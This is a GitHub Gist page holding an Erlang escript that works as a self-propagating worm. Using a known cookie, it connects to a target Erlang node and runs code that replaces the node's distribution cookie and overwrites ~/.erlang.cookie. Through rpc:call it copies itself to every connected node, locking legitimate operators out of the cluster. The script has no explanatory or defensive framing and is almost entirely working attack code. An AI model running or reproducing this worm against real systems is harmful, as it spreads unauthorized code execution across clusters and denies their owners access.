Skip to content

Instantly share code, notes, and snippets.

@jon-stewart
Last active September 27, 2020 16:00
Show Gist options
  • Save jon-stewart/494a38e1519e7ca07bb8ac809c6e2a66 to your computer and use it in GitHub Desktop.
Save jon-stewart/494a38e1519e7ca07bb8ac809c6e2a66 to your computer and use it in GitHub Desktop.
#!/usr/bin/env escript
%% -*- erlang -*-
main([Target, LocalIP, OldCookie, NewCookie]) ->
TargetNode = list_to_atom(Target),
net_kernel:start([list_to_atom("wormz@" ++ LocalIP)]),
erlang:set_cookie(node(), list_to_atom(OldCookie)),
net_kernel:connect_node(TargetNode),
io:format("Connected: ~p\n", [erlang:nodes(connected)]),
launch_worm(list_to_atom(NewCookie)).
launch_worm(NewCookie) ->
Expr = worm_abstract_expression(),
Self = [{match, 1, {var, 1, 'Expr'}, Expr}, {call, 1, {var, 1, 'Expr'}, [{var, 1, 'Self'}, {var, 1, 'NewCookie'}]}],
erl_eval:exprs(Self, erl_eval:add_binding('Self', Self, erl_eval:add_binding('NewCookie', NewCookie, erl_eval:new_bindings()))).
worm_abstract_expression() ->
Func = fun(Self, NewCookie) ->
case erlang:get_cookie() /= NewCookie of
true ->
erlang:set_cookie(node(), NewCookie),
CookiePath = os:getenv("HOME") ++ "/.erlang.cookie",
file:write_file(CookiePath, [atom_to_list(NewCookie)]),
file:change_mode(CookiePath, 8#00600),
Bindings = erl_eval:add_binding('Self', Self, erl_eval:add_binding('NewCookie', NewCookie, erl_eval:new_bindings())),
lists:map(fun(Node) ->
case rpc:call(Node, erl_eval, exprs, [Self, Bindings]) of
{value, Value, _} ->
io:format("~p\n",[Value]);
{badrpc, Reason} ->
io:format("badrpc ~p: ~p\n", [Node, Reason])
end
end, erlang:nodes(connected));
false ->
ok
end
end,
{env, [{_, _, _, Abs}]} = erlang:fun_info(Func, env),
{'fun', 1, {clauses, Abs}}.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment